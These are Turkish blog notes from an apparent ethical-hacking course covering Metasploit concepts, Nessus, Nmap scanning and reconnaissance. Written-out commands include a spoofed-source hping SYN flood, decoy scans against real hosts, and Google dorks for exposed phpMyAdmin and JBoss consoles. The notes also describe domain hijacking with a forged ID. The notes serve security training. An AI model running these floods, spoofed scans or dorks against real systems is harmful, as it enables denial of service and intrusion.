        • Linux pwd'lerini en hızlı kıran 2 yazılımdan biri: JTR (John The Ripper)
        • BackTrack'te /pentest/passwords/jtr

      CEH by BGA - Gün 2 - Ders 1

      Exploitation

      • Test metodolojisindeki 5.adım.
      • Bir açıklık olması, exploit edilebilmesi anlamına gelmez her zaman.
      • CVSS değeri 
        • 9-10 arasında ise 1 gün içerisinde,
        • 7-9 arasında ise 15 gün içerisinde,
        • 5-7 arasında ise 1 ay içerisinde kapatılmalı.
      • Nessus, dışarıdan (internet üzerinden) yapılan taramalarda çok etkili olmaz. Genelde en çok medium açıklıklar bulur.
      • Düzgün bir yama yönetimi olan kurumlarda exploitlerin çoğu çalışmayacaktır.
      • Underground camiada 0-day açıklıklar el altından satılıyor (Dip not: alıcılar genelde istihbarat örgütleri)
      • 100% FUD => Fully UnDetectable
      • Exploit, bir program/scripttir; programlardaki zafiyetler ve hatalar için kullanılır.
      • Exploit çeşitleri
        • Local (Linux kernel exploitleri)
          • Client-side exploit
        • Remote (Uzaktan gönderilen bir paketle sistemin ele geçirilebildiği durumlar)
        • DoS (Zafiyetten faydalanarak sisteme sızmıyor, sistemi erişimsiz kılıyor)
        • Command-execution (WebApp)
        • SQLi (WebApp)
        • Zero-day
      • Bir makineye uzaktan eriştiğinizde, web sunucu (apache, iis vs) hangi haklara sahipse o haklara sahip olursunuz.
      • Saldırgan makineye eriştiğinde (linux) uname -a çalıştırır, versiyonu öğrenir, o versiyonun açıklıklarıyla sisteme sızmaya çalışır.
      • (Parantez) zone-h => 2000'den beri hacklenen sitelerin veritabanını tutan site.
      • MS, her ayın 2. Salı'sı bir advisor yayınlıyor 0-day açıklar için.
      • milw0rm => ömrünü tamamladı.
      • explo.it ya da exploit-db.com => offensive security firmasının arkasında olduğu site.
      • securityfocus
      • Her exploit güvenilir değildir, dikkat! Farklı forumlardan indirilen exploitleri çalıştırırken10 kere düşünmek lazım. Exploit kodu içinde "rm -rf /" gibi bir satır olabilir; bu satır kod içinde hexadecimal vs bakınca anlaşılmayacak şekilde yazılmış da olabilir.
      • "sahte ssh exploitları".
      • Pentestlerde
        • Kesinlikle gerçek sistemlerimizi kullanmamalıyız. exploit-db güvenilir ama o site de hacklenip bir exploit içine birşeyler eklenebilir. VM makineler kullanılmalı.
        • Metasploit, ImunnityCanvas gibi bu işi ticari olarak yapıp exloitleri test ettikten sonra kullanan firmaların exploitlarını kullanmalıyız.
      • Her bir exploit, belli bir sisteme özel (OS, versiyon, dil farkları vs) yazılıyor.
      • Metasploit Exploit Development Framework => Exploit yazma çatısı.
      • Otomatize Exploit Araçları:
        • CoreImpact => Python
        • ImunityCanvas => Python
        • Metasploit => Opensource ürün. Teknik olarak diğerlerinden çok az eksiği vardır; görsel ve raporlama tarafında eksiktir; diğerlerine göre biraz daha fazla uğraştırabilir.
      • Nessus'ta bulup Metasploit'ta exploit etmeye çalışıyoruz; CoreImpact'te "tara, bulursan exploit et" diyoruz.
      • Metasploit
        • Web tarafı eksik
        • Raporlama yok
        • İlla bir nmap - nessus çıktısını girdi olarak alır.
        • Kavramlar (Metasploit GUI menüleri):
          • Exploit
          • Payload (Lambadan çıkan cin). Exploit çalışınca ne yapsın? Bir kullanıcı oluşturabilir, yerleştirilen ajanı çalıştırabilir. OS üzerinde bir soket açıp "bana bağlanabilirisiniz" der => remote shell / tcp bind shell. Ya da reverse shell bağlanılabilir: "Payload, sen bana bağlan, ben senin üzerinden shell'i çalıştırayım"
          • Post-exploitation. Exploit ettiğimiz sistemden başka sistemlere atlamamız gerekebilir. DMZ'de ele geçirilen bir makineden LAN'deki bir sistemi ele geçirme gibi.
        • Brute force için genelde Metasploit kullanılmıyor; 

      2 Mayıs 2011 Pazartesi

      CEH by BGA - Gün 1 - Ders 4

      Güvenlik Zafiyeti Tarama Yazılımları ve Nessus
      • Vulnerability Assessment
      • Erişim elde etmeye, sonrasında hak yükseltmeye çalışılır.
      • Teknoloji kullanımının (alırken, öğrenirken vs) her aşamasında güvenliği düşünmek gerekir.
      • Zafiyet nedenleri
        • Güncel olmayan yazılımlar
        • Programlama hatası
        • Eksik/yanlış yapılandırma.
      • Zafiyet takibi => CVE (Common Vulnerabilities and Exposures)
      • Güvenlik test çeşitleri
        • Network güvenliği (En temeli bu)
        • OS güvenliği
        • DB güvenliği
        • Web uygulama güvenliği (En popüleri bu)
      • nCircle, Qualys, Rapid7 Strong Positive, Tenable Nessus Strong kategorisinde (Gartner)
      Nessus
      • 3.x ile birlikte ücretsiz olarak kullanılabilen, kapalı kaynak kodlu bir yazılım haline geldi.
      • Günlük olarak zafiyet veritabanı yenileniyor.
      • 45.000 civarı plug-in'i var.
      • NASL => Nessus Attacking Scripting Language. Bu dili kullanarak plug-in yazabilirsiniz.
      • İstemci-sunucu mantığına uygun çalışır.
      • Nessus, KB (Knowledge Base) olarak isimlendirilen özelliği sayesinde plug-in'leri çalıştırırken akıllı bir şekilde filtreleme yapar. Mesela taranan makine Linux ise Microsoft testlerini çalıştırmaz.
      • Güvenlik tarama çeşitleri
        • Uzaktan
        • Yerel

      CEH by BGA - Gün 1 - Ders 3

      NMAP (Devam)

      • Nmap ile UDP tarama: -sU
        • Ekmek çıkmaz buradan. Yanıltır insanı. Güvenemeyiz. TCP güvenilirdir.
        • Hata kontrolü ICMP tarafından gerçekleştirilir.
        • Tek tarama tipi var.
        • UDP taramalarda versiyon taraması yapmazsak sonuçlar güvenilir olmaz.
        • Açıksa cevap dönmez, kapalıysa cevap döner.
        • Cevaplara göre 3 sonuç çıkarırız:
          • Cevap dönüyorsa kapalı
          • Cevap dönmüyorsa
            • Açık ya da
            • Firewall tarafından filtreleniyor.
        • Versiyon taraması için -sV kullanılır.
        • Genelde internette DNS versiyonlarını bulmakiçin kullanılır:
          • nmap -sU -p 53 195.175.39.39 --reason -sV
      • hping --udp -p 80
      • Nmap default'unda bilinen belirli portlara bakar. Misal SSH portunu 22 değil 3344'e taşımışlarsa sistemde, Nmap default ayarlarıyla bulamayacaktır. Aşağıdaki ilk sorgudan sonucu elde edemeyiz ama ikincide 3344 portunun SSH olduğunu bulur. CTF'lerde genelde vardır bu!
        • nmap 192.168.200.65 -p 3000-5000
        • nmap 192.168.200.65 -p 3000-5000 -sV
      • Nmap versiyon belirleme konusunda en iyi araçlardan biridir.
      • -sV, -sT, -sU
      İşletim Sistemi Belirleme
      • Nmap, gönderdiği paketlerin yanıtlarına göre OS versiyonunu belirlemeye çalışır.
      • Nmap, OS belirlemek için 1 açık, 1 kapalı port bulmak zorunda.
      • Kapalı porttan kastımız, SYN paketine RST dönen portlar. Cevap dönmemesi filtrelenmiş anlamına gelir, kapalı demek değildir.-O parametresi ile.
      • Linux "time" komutu. Arkasından gelen komutun ne kadar sürede çalışacağını tahmin eder.
      • www.netcraft.com
      • hping -S -p 81 192.168.200.65 -a www.kurum.gov.tr --flood
      • Nmap -A => tüm temel aramaları yapıyor.
      • Nmap taramaları karşılaştırma:
        • -oX ile XML formatında sonuçlar kaydedilir;
        • ndiff --text text1 text2. XML ise --text parametresinin değişmesi gerekebilir.
      • Nmap arabirimi: Zenmap.
      IDS/IPS vs Port Tarama
      • Decoy Scanning. Farklı kaynaklardan istekleri gönderme.
      • nmap -D 1.1.1.1=> talepler 1.1.1.1 adresinden geliyormuş gibi port tarama yapılır. 
      • nmap -D RND:11 google.com --packet_trace => 11 sahte IP'den talep gönder.
      • Syncookie: DDoS engelleme yöntemi. Her SYN paketine SYN-ACK gönderir doğrudan. Tarama yaparken tüm portları açık görünür!!

      CEH by BGA - Gün 1 - Ders 2

      Bilgi Toplama (Devam)

      • Arama motorlarından bilgi toplama
        • Pentest tarafı için başka arama motorları da özelleşiyor, google devri yavaş yavaş kapanıyor.
        • pipl.com
        • google.com/linux vs.
        • shodanhq.com <== SHODAN - ÖNEMLİ!!!
          • "default password admin" yazarak default şifresi admin olan siteleri sorgulayabiliyoruz mesela.
        • Google Hacking
          • site:www.google.com => sadece bir uygulamada ara
          • allintitle:...
          • "Welcome to phpMyAdmin" => Bu geliyorsa google'da, şifresiz bir phpMyAdmin kurulu demektir.
          • Jboss => site:*.tr inurl:\jmx-console\
        • clez.net
      Aktif Bilgi Toplama
      • Karşı tarafa bilgi veriyoruz.
      • Karşı tarafta log tutulduğunu düşünerek hareket ediyoruz.
      • Önce DNS üzerinden bilgi topluyoruz.
        • Zone transferi => domain'e ait bütün alt alanların tek yolu.
        • who.is/nameserver/DNS_Sunucusu_Adresi ile o DNS sunucu üzerindeki tüm domainler. hepsiburada.com için örnekle.
        • DNS sunucu versiyon bilgisi
        • hackertarget.com => Alt domainleri bulmak için kullanılır.
        • http://clez.net/net.dns?ip=tubitak.gov.tr#graph => Bulabildiği tüm subdomainleri listeler.
        • Zone transferi genellikle kapalıdır. TCP Port 53 kapatılır bunun için.
      • SMTP üzerinden bilgi toplama
        • Mail sunucunun iç IP bilgileri. Eğer engellenmediyse.
        • Olmayan bir mail adresine mail gönderilir. Bounce özelliği devreye girerek mail sunucu böyle bir adres yok diye mail gönderir. Bu mailden alınan bilgiyle SMTP deşme başlar.
        • En önemli başlık bilgisi "Received-By"
      • Network haritası çıkarma
        • Router, firewall, IPS/WAF, Açık port bulma.
        • Router çok önemli değil, firewall daha önemli, IPS/WAF daha da önemli...
        • Ağ haritası çıkarma: Traceroute (tracert in Windows)
          • Layer3'te uğradığı makineler.
          • IPS, Layer2'de çalıştığından traceroute ile bulunamazlar.
          • Traceroute TTL (TimeToLive) bilgisini kullanır. Bu bilgi, istediğimiz anda bir araçla değiştirebileceğimiz bir bilgi.
        • HPING => Traceroute çalışma mantığı
          • hping -p 80 www.google.com -t 1 => ilk router paketi alır, "bu paket bende öldü" bilgisi gönderir.
        • tcptraceroute => ICMP ve UDP değil, TCP üzerinden bu işi yapıyoruz.
        • MALTEGO. İşin pratik kısmı. Bir domain'e ait tüm detaylar. Ücretsiz versiyonu günlük 60-70 kullanım sağlıyormuş sanırım. BackTrack içinde ücretsiz versiyonu var.
          • Kişi hakkında bilgi toplama için de kullanılıyor. Oldukça ilginç.
      • Özet:
        • Bilgi toplama, testin belki de en uzun ve önemli kısmıdır.
        • Subdomain için brute-force denemeler yapılarak sonuca ulaşılır. dig komutu kullanılabilir. NXDOMAIN yazdıysa bu domain yoktur; NO ERROR diyorsa var demektir.
      Ağ Keşif Taramaları
      • Neyi tarıyoruz? Niye tarıyoruz?
        • Whitebox - Blackbox
      • Tarama çeşitleri
        • Host/ağ tarama
        • Port tarama
        • Ağ haritalama. Eskiden isteniyormuş firmalar tarafından, artık pek istenmiyor.
        • OS belirleme
        • Zafiyet tarama.
      • Aktif sistemlerin belirlenmesi
        • ICMP tarama (Klasik Ping)
        • TCP ping kavramı => hping -p 80 -S www.garanti.com.tr
        • UDP ping kavramı
        • ARP ping => Yerel ağ protokolüdür. Bütün trafik kapalı olsabile açık olanARP scan'e mutlaka cevap vermek zorunda.
      • Klasik ping, ICMP üzerindendi. ICMP Smurf ile DoS saldırıları düzenlendiğinden beri ICMP cevapları engelleniyor.
      • RFC konsorsiyum.
      • SYN paketi gönderdik. Response yorumlanır:
        • RST döndüyse port kapalı
        • SYN+ACK döndüyse port açık
        • Birşey dönmediyse (makine açıkken) port filtreli.
      • NMAP!
      NMAP
      • Komut satırından kullanımı daha esnek
      • -n => isim çözmeye çalışmasını engellemek için. Aksihalde yavaşlar sorgu. Mutlaka kullan!
      • ICMP (ayıp olmasın), TCP pinglerle önce makinenin açık olup olmadığına karar vermeye çalışır.
      • --packet_trace parametresi ile NMAP paket hareketleri izlenebilir.
      • -PN parametresi: Nmap makinenin açık olmadığını düşünüyorsa bile "sen karışma, tara" demiş oluyoruz.
      • 15 farklı port tarama çeşidini destekler Nmap.
      • Sistemler üzerindeki firewall'lar (statefull firewall). Her bağlantı SYN ile başlamak zorundadır. Stateful firewall'lar ilk paket bu olmadığı zaman gelen paketi DROP eder, dolayısıyla SYN ile başlayan scan'ler harici ÇALIŞMAZ günümüzde!
      • Port tarama, TCP başlığındaki flag'lerle (SYN, ACK, RST, PSH...) yapılır.
      • TCP SYN Scan: -sS
        • SA dönerse port açık
        • R dönerse kapalı
        • Cevap gelmezse "filtered"dır, hedef sistemin önünde güvenlik duvarı vardır.
      • nmap www.google.com --top-ports 10 --reason => En çok açık olan 10 portu tara, neden açık/kapalı/filtered olduğunu da bana raporla (--reason)
      • Bazı firewall'lar kapalı portlar için RST dönerken, bazıları cevap dönmeyebilir. Firewall'un politikası ile alakalı. Dolayısıyla yanıt dönmediğinde Nmap filtered diyecek ama kapalı da olabilir o port.
      • TCP Connect Scan: -sT => 3lü el sıkışmayı tamamlamaya çalışır.
      • Diğer scan türlerini unut: SYN, Connect ve ... tarama türleri ile işimizi görelim.

      CEH by BGA - Gün 1 - Ders 1

      • Beyaz Şapkalı Hacker Eğitimi - Huzeyfe Önal
      • CCI - CSSP Sertifkaları, CEH Sertifikası'ndan daha çok biliniyor diyebiliriz sanırım.
      • Nam-ı Diğer: Siber Tehditler ve Savunma Yöntemleri
      • (Parantez) Türkiye'deki 100 IPS'ten 97 tanesini 10 yaşındakibirçocuk sahip olduğu bilgiyle rahatça aşabilir.
      • Defensive security işe yaramıyor, bu eğitimde bunu öğreneceğiz. Offensive security yöntemlerine değinilecek.
      • EC-Council v7'nin getirdiği bir yenilik yok konu olarak. Kullanılan araçlar olarak artık tedavülden kalkmış uygulamaları varmış pratikte kullanılan, onları yenilemişler.
      Amaçlar
      • En önemli amacı, saldırgan vizyonunu kazanmak.
      • Güvenlik = sigorta şirketleri benzetmesi.
      • Ürün bağımsız olayların perde arkasına göz atmak.
      • Parola: Ezber değil mantık.
      • Sınava giriş için bir süre beklemekte fayda var. V7'ye geçildiği için sorular değişmiş olabilir.

      Bilgi Toplama Yöntem ve Çeşitleri

      • Bir saldırgan için ilk yapılacak iş. İyi bir saldırgan, mutlaka saldırı öncesi bir keşif yapar. Bu, hem gerçek dünyada, hem sanal dünyada böyledir.
      • (Parantez) User agent alanı sadece Firefox ve IE olsun önlemi alınmış bir uygulamaya Acunetix (veya Netsparker) ile test etmeye çalıştığımızda engellenir. Bu araçların ön tanımlı değerlerinde user agent kısımlarında kendi bilgileri yazıyor çünkü. Değiştirilebilir. Keşif yapılsa bu farkedilirdi.
      • Exploitation, pentest'in önemli bir adımı. Ama genelde testin yapılacağı firmalar bunu istemiyor.
      • Güvenlik testleri 9 adım:
        • Bilgi toplama
        • Ağ haritalama
        • Zafiyet tarama
        • Pentest (sızma) süreci
        • Hak yükseltme. Sızdım ama sızdığım kullanıcının yeterli hakları yok.
        • Detaylı araştırma. Sağda solda başka makine var mı?
        • Erişimlerin korunması. Bir sisteme sızıldıysa kesinlikle baştan tekrar kurmak gerekir.
        • Raporlama. Bir saldırgan,  bütün izlerini siler. İnternet üzerinde logları silen hazır araçlar var.
      • Hacker camiası çok motive...
      • Şu 3'ü olduktan sonra kaçış yok gibi
        • Motivasyon
        • Bilgi
        • Google.
      • BİLGİ: Değer ifade eden veridir. Değeri, zaman ve mekana göre değişebilir. 50 yıl önce mecliste konuşulanlar devlet sırrı iken bugün arşiv bilgisidir ve yayınlanmıştır. Ama Coca-Cola'nın formülü her zaman değerli bilgi...
      • Yöntemler
        • Pasif. İnternet üzerinden çeşitli sistemleri kullanarak, karşı tarafı uyandırmadan yapılan bilgi toplama.
          • whois sorguları. En önemli bilgilerden biri, o domain'i kim almış?
          • Şirketin DNS ayarlarının başka yere yönlendirilmesi.
        • Aktif
      • IP adresleri ve domain adları hakkında bilgi edinme
        • Tüm dünyadaki IP adresleri ve domain ismi dağıtımı tek merkezden dağıtılıyor: ICANN
        • Kişinin mail adresinin şifresini kıramazlarsa o adresle üye olunan forumlar vs bulunup hacklenir; orada kullandığı şifre ile hacklenmek istenen şifre aynı mı kontrol edilir.
        • RIR -> Banko soru: Hangisi RIR değildir.
          • RIR: Regional Internet Registery.
            • AfriNIC
            • ARIN
            • APNIC
            • LACNIC
            • RIPE NCC
      • Faks ve biraz sosyal mühendislikle domain adresinin alındığı firmadan domain'in bilgileri elde edilebilir.
      • who.is
        • Kontak bilgileri, bir birey olmamalı. Üzerine yoğunlaşılabilir. Sadece bu işe özel bir mail adresi set edilmeli bu iş için.
      • Domain'i, başkaları üstüne alabilir mi? Domain çalma.
        • "Domain'im çalındı, şu mail adresine yeni bilgileri gönderin" dediğimizde genelde nüfus cüzdanı faksı istenir, internette nüfus cüzdanı yapan siteler de mevcut.
        • baidu.com => çok büyük bir arama motoru. İranlı hackerlar, DNS ve domain'i üzerlerine aldılar, whois sorgularından faydalanarak.
        • whois arşivi. who.is sitesinden incele.
      • IP adresi sorgulama. IP bloğu bulunup IP aralığına port taraması yapılabilir. Bir RIR olan RIPE.net kullanımını incele.
      • NETCRAFT pasif bilgi toplama aracı. Ek kontrol amaçlı kullanılabilir, güvenmiyoruz.
      • IP üzerinde sunulan domainlerin keşfi
        • Bir IP adresinde bir sürü domain barındırılabilir ==> Virtual host.
        • O makineden bir domain'i hacklersek diğer domainlere atlayabiliriz. Önlem alınmadıysa açıklık tüm sunucuyu etkileyecektir.
        • robtex.com ile IP'den domain keşfi yapılabilir. Aynı subnetteki IP'leri de inceler.
        • bing arama motorunda ==> ip:193.140.80.201 aratılırsa o IP adresleri üzerinde çalışan uygulamalar listelenir.

      Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

      Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....